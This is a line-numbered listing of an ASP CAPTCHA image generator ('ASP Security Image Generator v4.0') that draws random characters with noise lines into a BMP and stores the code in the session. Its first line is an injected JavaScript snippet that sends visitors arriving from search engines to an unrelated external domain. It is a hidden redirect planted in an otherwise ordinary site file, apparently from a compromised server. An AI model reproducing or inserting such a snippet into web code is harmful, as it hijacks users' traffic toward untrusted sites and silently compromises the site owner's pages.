d:\wwwroot\wuchunhua\liaotianim\inc\Vcode.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
@LANGUAGE="VBSCRIPT"
%
>
002:
<%
003:
'ASP Security Image Generator v4.0 - 13/July/2008
004:
'Generate images to make a CAPTCHA test
005:
'?2006-2007 Emir Tüzül. All rights reserved.
006:
'http://www.tipstricks.org
007:
008:
'This program is free software; you can redistribute it and/or
009:
'modify it under the terms of the Common Public License
010:
'as published by the Open Source Initiative OSI; either version 1.0
011:
'of the License, or any later version.
012:
013:
'This program is distributed in the hope that it will be useful,
014:
'but WITHOUT ANY WARRANTY; without even the implied warranty of
015:
'MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
016:
'Common Public License for more details.
017:
018:
'*[null pixel]Numbers[repeat count], #[text]Numbers[repeat count], &[row reference]number[referenced row index]
019:
'First row [font height, chars...]
020:
'Following rows [char width, pixel maps...]
021:
FontMap = Array(_
022:
split("13,A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,0,1,2,3,4,5,6,7,8,9",",") ,_
023:
split("14,*5#4*5,*4#6*4,&2,&2,*3#3*2#3*3,&5,*2#4*2#4*2,*2#3*4#3*2,*2#10*2,*1#12*1,*1#3*6#3*1,&11,#3*8#3",",") ,_
024:
split("11,#8*3,#10*1,#3*4#3*1,&3,&3,&1,&2,#3*4#4,#3*5#3,&9,&8,&2,#9*2",",") ,_
025:
split("11,*4#6*1,*2#9,*1#4*4#2,*1#3*6#1,#3*8,&5,&5,&5,&5,&4,&3,&2,&1",",") ,_
026:
split("12,#8*4,#10*2,#3*4#4*1,#3*5#3*1,#3*6#3,&5,&5,&5,&5,&4,&3,&2,&1",",") ,_
027:
split("9,#9,&1,#3*6,&3,&3,#8*1,&6,&3,&3,&3,&3,&1,&1",",") ,_
028:
split("9,#9,&1,#3*6,&3,&3,&1,&1,&3,&3,&3,&3,&3,&3",",") ,_
029:
split("13,*4#7,*2#11,*1#4*5#3,*1#3*8#1,#3,#3,#3*4#6,&7,#3*7#3,*1#3*6#3,*1#5*4#3,&2,&1",",") ,_
030:
split("11,#3*5#3,&1,&1,&1,&1,#11,&6,&1,&1,&1,&1,&1,&1",",") ,_
031:
split("7,#7,#7,*2#3,&3,&3,&3,&3,&3,&3,&3,&3,&1,&1",",") ,_
032:
split("8,*2#6,&1,*5#3,&3,&3,&3,&3,&3,&3,&3,*4#4,#7,#6",",") ,_
033:
split("12,#3*5#4,#3*4#4,#3*3#4,#3*2#4,#3*2#3,#3*1#3,#7,#8,&5,#3*3#3,#3*4#3,#3*5#3,&1",",") ,_
034:
split("9,#3,#3,#3,#3,#3,#3,#3,#3,#3,#3,#3,#9,#9",",") ,_
035:
split("13,#3*7#3,#4*5#4,&2,#5*3#5,&4,#6*1#6,#3*1#2*1#2*1#3,#3*1#5*1#3,#3*2#3*2#3,&9,#3*7#3,&11,&11",",") ,_
036:
split("11,#4*4#3,#5*3#3,&2,#6*2#3,&4,#3*1#3*1#3,&6,#3*2#6,&8,#3*3#5,&10,#3*4#4,#3*5#3",",") ,_
037:
split("13,*4#5,*2#9,*1#4*3#4,*1#3*5#3,#3*7#3,&5,&5,&5,&5,&4,&3,&2,&1",",") ,_
038:
split("10,#8,#9,#3*3#4,#3*4#3,&4,&4,&3,&2,#7,#3,#3,#3,#3",",") ,_
039:
split("13,*3#6,*2#8,*1#3*4#3,*1#2*6#2,#2*8#2,&5,&5,#2*4#1*3#2,#2*4#2*2#2,*1#2*4#4,&3,*2#10,*3#6*2#2",",") ,_
040:
split("12,#8,#9,#3*4#3,&3,&3,#3*3#4,&2,&1,#3*2#4,#3*3#3,&3,#3*4#4,#3*5#4",",") ,_
041:
split("11,*3#6,*1#9,#4*4#2,#3*6#1,#4,#8,&2,*3#8,*7#4,#1*7#3,#3*4#4,#10,*1#7",",") ,_
042:
split("11,#11,&1,*4#3,&3,&3,&3,&3,&3,&3,&3,&3,&3,&3,&3",",") ,_
043:
split("11,#3*5#3,&1,&1,&1,&1,&1,&1,&1,&1,&1,#4*3#4,*1#9,*3#5",",") ,_
044:
split("14,#3*8#3,*1#3*6#3,&2,*1#3*5#4,*2#3*4#3,&5,*3#3*2#3,&7,&7,*4#6,&10,&10,*5#4",",") ,_
045:
split("17,#3*4#3*4#3,&1,#3*3#5*3#3,*1#3*2#2*1#2*2#3,&4,*1#3*1#3*1#3*1#3,&6,*1#3*1#2*3#2*1#3,&8,*2#5*3#5,&10,*2#4*5#4,&12",",") ,_
046:
split("14,#4*6#4,*1#4*4#4,*2#4*2#4,*3#3*2#3,*3#8,*4#6,*5#4,&6,&5,&4,&3,&2,&1",",") ,_
047:
split("13,#4*5#4,*1#3*5#3,*2#3*3#3,*2#4*1#4,*3#3*1#3,*3#7,*4#5,*5#3,&8,&8,&8,&8,&8",",") ,_
048:
split("10,#10,&1,*6#4,*5#4,*5#3,*4#3,*3#4,*3#3,*2#3,*1#4,#4,&1,&1",",") ,_
049:
split("10,*3#4*3,*1#8*1,*1#3*2#3*1,#3*4#3,&4,&4,&4,&4,&4,&4,&3,&2,&1",",") ,_
050:
split("9,*3#3*3,&1,#6*3,&3,*3#3*3,&5,&5,&5,&5,&5,&5,#9,&12",",") ,_
051:
split("10,*1#6*3,#8*2,#2*3#4*1,#1*5#3*1,*6#3*1,&5,*5#3*2,*4#4*2,*3#4*3,*2#4*4,*1#4*5,#10,&12",",") ,_
052:
split("11,*1#8*2,#10*1,#3*5#3,#1*7#3,*7#3*1,*3#6*2,*3#7*1,*7#4,*8#3,&4,#3*4#4,&2,*1#7*3",",") ,_
053:
split("12,*6#4*2,*5#5*2,&2,*4#2*1#3*2,*3#3*1#3*2,*2#3*2#3*2,*1#3*3#3*2,#3*4#3*2,#12,&9,*7#3*2,&11,&11",",") ,_
054:
split("11,*1#10,&1,*1#3*7,&3,*1#8*2,*1#9*1,*7#4,*8#3,&8,#1*7#3,#3*4#3*1,#10*1,*1#7*3",",") ,_
055:
split("11,*4#6*1,*2#8*1,*1#4*6,*1#3*7,#3*1#5*2,#10*1,#3*4#4,#3*5#3,&8,&8,*1#3*3#3*1,*1#9*1,*3#5*3",",") ,_
056:
split("11,#11,&1,*7#4,*7#3*1,*6#4*1,*6#3*2,*5#3*3,*4#4*3,*4#3*4,*3#4*4,*3#3*5,*2#3*6,*1#4*6",",") ,_
057:
split("11,*2#7*2,*1#9*1,#3*4#4,#3*5#3,#4*3#3*1,*1#8*2,&1,*1#3*1#5*1,&4,&4,#4*3#4,&2,*2#6*3",",") ,_
058:
split("11,*3#5*3,*1#9*1,*1#3*3#3*1,#3*5#3,&4,&4,#4*4#3,*1#10,*2#5*1#3,*7#3*1,*6#4*1,*1#8*2,*1#6*4",",") _
059:
)'Previous row must end with _
060:
061:
'#Begin ColorMap
062:
const BmpColorMap = "dffeff000c851700eceeee006c363600da644a00"
063:
064:
ColorMap = Array(_
065:
split("00,01,01",",") ,_
066:
split("02,03,03",",") ,_
067:
split("00,04,04",",") _
068:
)'End ColorMap
069:
070:
'#Auto calculated variables
071:
dim ImageWidth, ImageHeight, arrTextWidth(), TextHeight, LeftMargin, arrTopMargin(), CursorPos
072:
dim BmpEndLine, BColor, TColor, NColor
073:
dim i, j, k, x, y
074:
075:
'#Editable consts and variables
076:
dim Bitmap(25,130) '[Height,Width]
077:
const CodeLength = 4 'Secure code length (Max:8)
078:
const CodeType = 1 '0[Random numbers], 1[Random chars and numbers], 2[Fake word]
079:
const CharTracking = 2 'Set the tracking between two characters
080:
const RndTopMargin = true 'Randomize top margin every character
081:
const NoiseEffect = 2 '0[none], 1[sketch], 2[random foreground lines], 3[random background lines], 4[1 and 3 (Recommed maximum NoiseLine=4)]
082:
const NoiseLine = 8 'Low values make easy OCR, high values decrease readability
083:
const MinLineLength = 6 'Minimum noise line length
084:
const SessionName = "XKVCODE" 'Where store your secure code
085:
086:
'#Subroutines and functions
087:
function CreateGUID(valLength)
088:
if CodeType = 1 then
089:
strValid = "A0B1C2D3E4F5G6H7I8J9K8L7M6N5O4P3Q2R1S0T1U2V3W4X5Y6Z7"
090:
else
091:
strValid = "0516273849"
092:
end if
093:
tmpGUID = vbNullString
094:
tmpChr = vbNullString
095:
Randomize(Timer)
096:
for cGUID=1 to valLength
097:
do
098:
tmpChr = Mid(strValid, Int(Rnd(1) * Len(strValid)) + 1, 1)
099:
loop while CStr(tmpChr) = CStr(Right(tmpGUID,1))
100:
tmpGUID = tmpGUID & tmpChr
101:
Next
102:
CreateGUID = tmpGUID
103:
end function
104:
105:
function FakeWord(valLength)
106:
arrChars = Array("AEIOU", "BCDFGHJKLMNPQRSTVWXYZ")
107:
cVowel = 0
108:
cConsonant = 0
109:
tmpWord = vbNullString
110:
Randomize(Timer)
111:
for cWord=1 to valLength
112:
if (cWord=2) or ((valLength > 1) and (cWord = valLength)) then
113:
ixChars = 1-ixChars
114:
elseif (cVowel < 2) and (cConsonant < 2) then
115:
ixChars = Int(Rnd(1) * 2)
116:
elseif (cVowel < 2) then
117:
ixChars = 0
118:
elseif (cConsonant < 2) then
119:
ixChars = 1
120:
end if
121:
Pattern = arrChars(ixChars)
122:
tmpWord = tmpWord & Mid(Pattern, Int(Rnd(1) * Len(Pattern)) + 1, 1)
123:
if ixChars = 0 then
124:
cVowel = cVowel + 1
125:
cConsonant = 0
126:
else
127:
cVowel = 0
128:
cConsonant = cConsonant + 1
129:
end if
130:
next
131:
FakeWord = tmpWord
132:
end function
133:
134:
function RndInterval(valMin,valMax)
135:
Randomize(Timer)
136:
RndInterval = Int(((valMax - valMin + 1) * Rnd()) + valMin)
137:
end function
138:
139:
function GetCharMap(valChr)
140:
dim i, j
141:
j = 0
142:
for i=1 to UBound(FontMap(0))
143:
if CStr(FontMap(0)(i)) = CStr(valChr) then
144:
j = i
145:
exit for
146:
end if
147:
next
148:
149:
if j > 0 then
150:
GetCharMap = FontMap(j)
151:
else
152:
GetCharMap = Array(0)
153:
end if
154:
end function
155:
156:
sub WriteCanvas(byval valChr, byval valTopMargin)
157:
dim i, j, k, curPos, tmpChr, arrChrMap, strPixMap, drawPixel, pixRepeat
158:
159:
'find char map
160:
arrChrMap = GetCharMap(valChr)
161:
if UBound(arrChrMap) < 1 then
162:
exit sub
163:
end if
164:
165:
'write char
166:
for i=1 to UBound(arrChrMap)
167:
'get pixel map active line
168:
strPixMap = arrChrMap(i)
169:
if Left(strPixMap,1) = "&" then
170:
j = Mid(strPixMap,2)
171:
if (IsNumeric(j) = true) then
172:
strPixMap = arrChrMap(CInt(j))
173:
else
174:
strPixMap = vbNullString
175:
end if
176:
end if
177:
strPixMap = Trim(strPixMap)
178:
179:
'drawing pixel
180:
curPos = CursorPos
181:
drawPixel = false
182:
pixRepeat = vbNullString
183:
for j=1 to Len(strPixMap)
184:
tmpChr = Mid(strPixMap,j,1)
185:
if (IsNumeric(tmpChr) = true) and (j < Len(strPixMap)) then
186:
pixRepeat = pixRepeat & tmpChr
187:
else
188:
'end pixel map?
189:
if IsNumeric(tmpChr) = true then
190:
pixRepeat = pixRepeat & tmpChr
191:
end if
192:
193:
'draw pixel
194:
if (drawPixel = true) and (IsNumeric(pixRepeat) = true) then
195:
for k=1 to CInt(pixRepeat)
196:
curPos = curPos + 1
197:
Bitmap((valTopMargin + i),curPos) = TColor
198:
next
199:
elseif IsNumeric(pixRepeat) = true then
200:
curPos = curPos + CInt(pixRepeat)
201:
end if
202:
203:
'what is new command?
204:
if tmpChr = "#" then
205:
drawPixel = true
206:
else
207:
drawPixel = false
208:
end if
209:
pixRepeat = vbNullString
210:
end if
211:
next
212:
next
213:
end sub
214:
215:
sub PrepareBitmap(valSecureCode)
216:
dim i, j
217:
'image dimensions
218:
ImageWidth = UBound(Bitmap,2)
219:
ImageHeight = UBound(Bitmap,1)
220:
221:
'char and text width
222:
redim arrTextWidth(CodeLength)
223:
arrTextWidth(0) = 0
224:
for i=1 to CodeLength
225:
arrTextWidth(i) = CInt(GetCharMap(Mid(secureCode,i,1))(0))
226:
arrTextWidth(0) = arrTextWidth(0) + arrTextWidth(i)
227:
next
228:
arrTextWidth(0) = arrTextWidth(0) + ((CodeLength - 1) * CharTracking)
229:
230:
'text height
231:
TextHeight = CInt(FontMap(0)(0))
232:
233:
'left margin
234:
LeftMargin = Round((ImageWidth - arrTextWidth(0)) / 2)
235:
236:
'top margin
237:
redim arrTopMargin(CodeLength)
238:
arrTopMargin(0) = Round((ImageHeight - TextHeight) / 2)
239:
if RndTopMargin = true then
240:
for i=1 to CodeLength
241:
arrTopMargin(i) = RndInterval(Int(arrTopMargin(0) / 2),(arrTopMargin(0) + Round(arrTopMargin(0) / 2)))
242:
next
243:
else
244:
for i=1 to CodeLength
245:
arrTopMargin(i) = arrTopMargin(0)
246:
next
247:
end if
248:
249:
'color selection
250:
i = RndInterval(0,UBound(ColorMap))
251:
BColor = ColorMap(i)(0)
252:
NColor = ColorMap(i)(1)
253:
TColor = ColorMap(i)(2)
254:
255:
'Apply background effect
256:
if NoiseEffect = 3 then
257:
AddNoise()
258:
end if
259:
260:
'write text
261:
for i=1 to CodeLength
262:
'calculate cursor pos
263:
CursorPos = 0
264:
for j=(i-1) to 1 step -1
265:
CursorPos = CursorPos + arrTextWidth(j) + CharTracking
266:
next
267:
CursorPos = LeftMargin + CursorPos
268:
269:
'write active char
270:
WriteCanvas Mid(secureCode,i,1),arrTopMargin(i)
271:
next
272:
end sub
273:
274:
sub DrawLine(x0, y0, x1, y1, valClr)
275:
'Reference from Donald Hearn and M. Pauline Baker, Computer Graphics C Version
276:
dim m, b, dx, dy
277:
278:
if (NoiseEffect = 4) and (Bitmap(y0,x0) = TColor) then
279:
clrNoise = vbNullString
280:
else
281:
clrNoise = valClr
282:
end if
283:
Bitmap(y0,x0) = clrNoise
284:
285:
dx = x1 - x0
286:
dy = y1 - y0
287:
if Abs(dx) > Abs(dy) then
288:
m = (dy / dx)
289:
b = y0 - (m * x0)
290:
291:
if dx < 0 then
292:
dx = -1
293:
else
294:
dx = 1
295:
end if
296:
297:
do while x0 <> x1
298:
x0 = x0 + dx
299:
300:
if (NoiseEffect = 4) and (Bitmap(Round((m * x0) + b),x0) = TColor) then
301:
clrNoise = vbNullString
302:
else
303:
clrNoise = valClr
304:
end if
305:
Bitmap(Round((m * x0) + b),x0) = clrNoise
306:
loop
307:
elseif dy <> 0 then
308:
m = (dx / dy)
309:
b = x0 - (m * y0)
310:
311:
if dy < 0 then
312:
dy = -1
313:
else
314:
dy = 1
315:
end if
316:
317:
do while y0 <> y1
318:
y0 = y0 + dy
319:
320:
if (NoiseEffect = 4) and (Bitmap(y0,Round((m * y0) + b)) = TColor) then
321:
clrNoise = vbNullString
322:
else
323:
clrNoise = valClr
324:
end if
325:
Bitmap(y0,Round((m * y0) + b)) = clrNoise
326:
loop
327:
end if
328:
end sub
329:
330:
sub AddNoise()
331:
dim median, i, j, x0, y0, x1, y1, dx, dy, dxy
332:
333:
if NoiseEffect = 1 then
334:
clrNoise = vbNullString
335:
else
336:
clrNoise = NColor
337:
end if
338:
339:
for i=1 to NoiseLine
340:
x0 = RndInterval(1,ImageWidth)
341:
y0 = RndInterval(1,ImageHeight)
342:
x1 = RndInterval(1,ImageWidth)
343:
y1 = RndInterval(1,ImageHeight)
344:
345:
'Check minimum line length
346:
dx = Abs(x1 - x0)
347:
dy = Abs(y1 - y0)
348:
median = Round(Sqr((dx * dx) + (dy * dy))/2)
349:
if median < MinLineLength then
350:
dxy = MinLineLength - median
351:
352:
if x1 < x0 then
353:
dx = -1
354:
else
355:
dx = 1
356:
end if
357:
358:
if y1 < y0 then
359:
dy = -1
360:
else
361:
dy = 1
362:
end if
363:
364:
for j=1 to dxy
365:
if ((x1 + dx) < 1) or ((x1 + dx) > ImageWidth) or ((y1 + dy) < 1) or ((y1 + dy) > ImageHeight) then
366:
exit for
367:
end if
368:
x1 = x1 + dx
369:
y1 = y1 + dy
370:
next
371:
end if
372:
373:
'Draw noise line
374:
DrawLine x0,y0,x1,y1,clrNoise
375:
next
376:
end sub
377:
378:
function FormatHex(byval valHex,byval fixByte,fixDrctn,valReverse)
379:
fixByte = fixByte * 2
380:
tmpLen = Len(valHex)
381:
if fixByte > tmpLen then
382:
tmpFixHex = String((fixByte - tmpLen),"0")
383:
if fixDrctn = 1 then
384:
valHex = valHex & tmpFixHex
385:
else
386:
valHex = tmpFixHex & valHex
387:
end if
388:
end if
389:
390:
if valReverse = true then
391:
tmpHex = vbNullString
392:
for cFrmtHex=1 to Len(valHex) step 2
393:
tmpHex = Mid(valHex,cFrmtHex,2) & tmpHex
394:
next
395:
FormatHex = tmpHex
396:
else
397:
FormatHex = CStr(valHex)
398:
end if
399:
end function
400:
401:
sub SendHex(valHex)
402:
for cHex = 1 to Len(valHex) step 2
403:
Response.BinaryWrite ChrB(CByte("&H" & Mid(valHex,cHex,2)))
404:
next
405:
end sub
406:
407:
sub SendBitmap()
408:
if (ImageWidth mod 4) <> 0 then
409:
BmpEndLine = String((4-(ImageWidth mod 4))*2,"0")
410:
else
411:
BmpEndLine = vbNullString
412:
end if
413:
BmpInfoHeader = Array("28000000","00000000","00000000","0100","0800","00000000","00000000","120B0000","120B0000","00000000","00000000")
414:
BmpInfoHeader(1) = FormatHex(Hex(ImageWidth),4,0,true)
415:
BmpInfoHeader(2) = FormatHex(Hex(ImageHeight),4,0,true)
416:
BmpInfoHeader(6) = FormatHex(Hex((ImageHeight * ImageWidth) + (ImageHeight * (Len(BmpEndLine) / 2))),4,0,true)
417:
BmpInfoHeader(9) = FormatHex(Hex(Len(BmpColorMap)/8),4,0,true)
418:
BmpInfoHeader(10) = BmpInfoHeader(9)
419:
BmpHeader = Array("424D","00000000","0000","0000","00000000")
420:
BmpHeader(1) = FormatHex(Hex((Len(Join(BmpHeader,"")) / 2) + (Len(Join(BmpInfoHeader,"")) / 2) + (Len(BmpColorMap) / 2) + (ImageHeight * ImageWidth) + (ImageHeight * (Len(BmpEndLine) / 2))),4,0,true)
421:
BmpHeader(4) = FormatHex(Hex((Len(Join(BmpHeader,"")) / 2) + (Len(Join(BmpInfoHeader,"")) / 2) + (Len(BmpColorMap) / 2)),4,0,true)
422:
423:
Response.Clear
424:
Response.Buffer = True
425:
Response.ContentType = "image/bmp"
426:
Response.AddHeader "Content-Disposition", "inline; filename=captcha.bmp"
427:
Response.CacheControl = "no-cache"
428:
Response.AddHeader "Pragma", "no-cache"
429:
Response.Expires = -1
430:
431:
SendHex(Join(BmpHeader,""))
432:
SendHex(Join(BmpInfoHeader,""))
433:
SendHex(BmpColorMap)
434:
for y=ImageHeight to 1 step -1
435:
for x=1 to ImageWidth
436:
tmpHex = Bitmap(y,x)
437:
if tmpHex = vbNullString then
438:
SendHex(BColor)
439:
else
440:
SendHex(tmpHex)
441:
end if
442:
next
443:
SendHex(BmpEndLine)
444:
next
445:
Response.Flush
446:
end sub
447:
%
>
448:
449:
<%
450:
'#Generate captcha
451:
if CodeType < 2 then
452:
secureCode = CreateGUID(CodeLength)
453:
else
454:
secureCode = FakeWord(CodeLength)
455:
end if
456:
Session(SessionName) = secureCode
457:
PrepareBitmap(secureCode)
458:
if (NoiseEffect > 0) and (NoiseEffect <> 3) then
459:
AddNoise()
460:
end if
461:
SendBitmap()
462:
%
>
463:
464: